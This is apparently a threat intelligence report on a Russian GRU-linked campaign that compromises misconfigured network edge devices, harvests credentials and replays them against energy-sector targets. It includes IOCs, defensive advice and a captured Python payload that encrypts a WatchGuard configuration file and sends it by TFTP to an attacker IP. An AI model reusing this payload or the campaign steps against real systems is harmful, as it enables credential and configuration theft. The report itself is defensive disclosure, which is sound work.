Amazon Threat Intelligence identifies Russian cyber threat group targeting Western critical infrastructure

As we conclude 2025, Amazon Threat Intelligence is sharing insights about a years-long Russian state-sponsored campaign that represents a significant evolution in critical infrastructure targeting: a tactical pivot where what appear to be misconfigured customer network edge devices became the primary initial access vector, while vulnerability exploitation activity declined. This tactical adaptation enables the same operational outcomes, credential harvesting, and lateral movement into victim organizations’ online services and infrastructure, while reducing the actor’s exposure and resource expenditure.

Going into 2026, organizations must prioritize securing their network edge devices and monitoring for credential replay attacks to defend against this persistent threat. Based on infrastructure overlaps with known Sandworm (also known as APT44 and Seashell Blizzard) operations observed in Amazon’s telemetry and consistent targeting patterns, we assess with high confidence this activity cluster is associated with Russia’s Main Intelligence Directorate (GRU). The campaign demonstrates sustained focus on Western critical infrastructure, particularly the energy sector, with operations spanning 2021 through the present day.

Campaign scope and targeting: Amazon Threat Intelligence observed sustained targeting of global infrastructure between 2021-2025, with particular focus on the energy sector. The campaign demonstrates a clear evolution in tactics.

Timeline:

• 2021-2022: WatchGuard exploitation (CVE-2022-26318) detected by Amazon MadPot; misconfigured device targeting observed
• 2022-2023: Confluence vulnerability exploitation (CVE-2021-26084, CVE-2023-22518); continued misconfigured device targeting
• 2024: Veeam exploitation (CVE-2023-27532); continued misconfigured device targeting
• 2025: Sustained targeting of misconfigured customer network edge device targeting; decline in N-day/zero-day exploitation activity

Primary targets:

• Energy sector organizations across Western nations
• Critical infrastructure providers in North America and Europe
• Organizations with cloud-hosted network infrastructure

Commonly targeted resources:

• Enterprise routers and routing infrastructure
• VPN concentrators and remote access gateways
• Network management appliances
• Collaboration and wiki platforms
• Cloud-based project management systems

Targeting the “low-hanging fruit” of likely misconfigured customer devices with exposed management interfaces achieves the same strategic objectives, which is persistent access to critical infrastructure networks and credential harvesting for accessing victim organizations’ online services. The threat actor’s shift in operational tempo represents a concerning evolution: while customer misconfiguration targeting has been ongoing since at least 2022, the actor maintained sustained focus on this activity in 2025 while reducing investment in zero-day and N-day exploitation. The actor accomplishes this while significantly reducing the risk of exposing their operations through more detectable vulnerability exploitation activity.

While we did not directly observe the victim organization credential extraction mechanism, multiple indicators point to packet capture and traffic analysis as the primary collection method:

1. Temporal analysis: Time gap between device compromise and authentication attempts against victim services suggests passive collection rather than active credential theft
2. Credential type: Use of victim organization credentials (not device credentials) for accessing online services indicates interception of user authentication traffic
3. Known tradecraft: Sandworm operations consistently involve network traffic interception capabilities
4. Strategic positioning: Targeting of customer network edge devices specifically positions the actor to intercept credentials in transit

Compromise of infrastructure hosted on AWS: Amazon’s telemetry reveals coordinated operations against customer network edge devices hosted on AWS. This was not due to a weakness in AWS; these appear to be customer misconfigured devices. Network connection analysis shows actor-controlled IP addresses establishing persistent connections to compromised EC2 instances operating customers’ network appliance software. Analysis revealed persistent connections consistent with interactive access and data retrieval across multiple affected instances.

Credential replay operations: Beyond direct victim infrastructure compromise, we observed systematic credential replay attacks against victim organizations’ online services. In observed instances, the actor compromised customer network edge devices hosted on AWS, then subsequently attempted authentication using credentials associated with the victim organization’s domain against their online services. While these specific attempts were unsuccessful, the pattern of device compromise followed by authentication attempts using victim credentials supports our assessment that the actor harvests credentials from compromised customer network infrastructure for replay against target organizations’ online services. Actor infrastructure accessed victims’ authentication endpoints for multiple organizations across critical sectors through 2025, including:

• Energy sector: Electric utility organizations, energy providers, and managed security service providers specializing in energy sector clients
• Technology/cloud services: Collaboration platforms, source code repositories
• Telecommunications: Telecom providers across multiple regions

Geographic distribution: The targeting demonstrates global reach:

• North America
• Europe (Western and Eastern)
• Middle East

• The targeting demonstrates sustained focus on the energy sector supply chain, including both direct operators and third-party service providers with access to critical infrastructure networks.

  Campaign flow:

1. Compromise customer network edge device hosted on AWS.
2. Leverage native packet capture capability.
3. Harvest credentials from intercepted traffic.
4. Replay credentials against victim organizations’ online services and infrastructure.
5. Establish persistent access for lateral movement.

Amazon Threat Intelligence identified threat actor infrastructure overlap with group Bitdefender tracks as “Curly COMrades.” We assess these may represent complementary operations within a broader GRU campaign:

• Bitdefender’s reporting: Post-compromise host-based tradecraft (Hyper-V abuse for EDR evasion, custom implants CurlyShell/CurlCat)
• Amazon’s telemetry: Initial access vectors and cloud pivot methodology

This potential operational division, where one cluster focuses on network access and initial compromise while another handles host-based persistence and evasion, aligns with GRU operational patterns of specialized subclusters supporting broader campaign objectives.

Amazon remains committed to helping protect customers and the broader internet ecosystem by actively investigating and disrupting sophisticated threat actors.

Immediate response actions:

• Identified and notified affected customers of compromised network appliance resources
• Enabled immediate remediation of compromised EC2 instances
• Shared intelligence with industry partners and affected vendors
• Reported observations to network appliance vendors to help support security investigations

Disruption impact: Through coordinated efforts, since our discovery of this activity, we have disrupted active threat actor operations and reduced the attack surface available to this threat activity subcluster. We will continue working with the security community to share intelligence and collectively defend against state-sponsored threats targeting critical infrastructure.

Organizations should proactively monitor for evidence of this activity pattern:

1. Network edge device audit

• Audit all network edge devices for unexpected packet capture files or utilities.
• Review device configurations for exposed management interfaces.
• Implement network segmentation to isolate management interfaces.
• Enforce strong authentication (eliminate default credentials, implement MFA).

2. Credential replay detection

• Review authentication logs for credential reuse between network device management interfaces and online services.
• Monitor for authentication attempts from unexpected geographic locations.
• Implement anomaly detection for authentication patterns across your organization’s online services.
• Review extended time windows following any suspected device compromise for delayed credential replay attempts.

3. Access monitoring

• Monitor for interactive sessions to router/appliance administration portals from unexpected source IPs.
• Examine whether network device management interfaces are inadvertently exposed to the internet.
• Audit for plain text protocol usage (Telnet, HTTP, unencrypted SNMP) that could expose credentials.

4. IOC review
Energy sector organizations and critical infrastructure operators should prioritize reviewing access logs for authentication attempts from the IOCs listed below.

For AWS environments, implement these protective measures:

Identity and access management:

• Manage access to AWS resources and APIs using identity federation with an identity provider and IAM roles whenever possible.
• For more information, see Creating IAM policies in the IAM User Guide.

Network security:

• Implement the least permissive rules for your security groups.
• Isolate management interfaces in private subnets with bastion host access.
• Enable VPC Flow Logs for network traffic analysis.

Vulnerability management:

• Use Amazon Inspector to automatically discover and scan Amazon EC2 instances for software vulnerabilities and unintended network exposure.
• For more information, see the Amazon Inspector User Guide.
• Regularly patch, update, and secure the operating system and applications on your instances.

Detection and monitoring:

• Enable AWS CloudTrail for API activity monitoring.
• Configure Amazon GuardDuty for threat detection.
• Review authentication logs for credential replay patterns.

| IOC Value | IOC Type | First Seen | Last Seen | Annotation |
|———–|———-|————|———–|————|
| 91.99.25[.]54 | IPv4 | 2025-07-02 | Present | Compromised legitimate server used to proxy threat actor traffic |
| 185.66.141[.]145 | IPv4 | 2025-01-10 | 2025-08-22 | Compromised legitimate server used to proxy threat actor traffic |
| 51.91.101[.]177 | IPv4 | 2024-02-01 | 2024-08-28 | Compromised legitimate server used to proxy threat actor traffic |
| 212.47.226[.]64 | IPv4 | 2024-10-10 | 2024-11-06 | Compromised legitimate server used to proxy threat actor traffic |
| 213.152.3[.]110 | IPv4 | 2023-05-31 | 2024-09-23 | Compromised legitimate server used to proxy threat actor traffic |
| 145.239.195[.]220 | IPv4 | 2021-08-12 | 2023-05-29 | Compromised legitimate server used to proxy threat actor traffic |
| 103.11.190[.]99 | IPv4 | 2021-10-21 | 2023-04-02 | Compromised legitimate staging server used to exfiltrate WatchGuard configuration files |
| 217.153.191[.]190 | IPv4 | 2023-06-10 | 2025-12-08 | Long-term infrastructure used for reconnaissance and targeting |

Note: All identified IPs are compromised legitimate servers that may serve multiple purposes for the actor or continue legitimate operations. Organizations should investigate context around any matches rather than automatically blocking. We observed these IPs specifically accessing router management interfaces and attempting authentication to online services during the timeframes listed.

The following payload was captured by Amazon MadPot during the 2022 WatchGuard exploitation campaign:

from cryptography.fernet import Fernet
import subprocess
import os

key = ‘uVrZfUGeecCBHhFmn1Zu6ctIQTwkFiW4LGCmVcd6Yrk='

with open('/etc/wg/config.xml’, ‘rb’) as config_file:
buf = config_file.read()

fernet = Fernet(key)
enc_buf = fernet.encrypt(buf)

with open('/tmp/enc_config.xml’, ‘wb’) as encrypted_config:
encrypted_config.write(enc_buf)

subprocess.check_output([‘tftp’, '-p’, '-l’, '/tmp/enc_config.xml’, '-r’,
'[REDACTED].bin’, ‘103.11.190[.]99'])
os.remove('/tmp/enc_config.xml’)

This payload demonstrates the actor’s methodology: encrypt stolen configuration data, exfiltrate via TFTP to compromised staging infrastructure, and remove forensic evidence.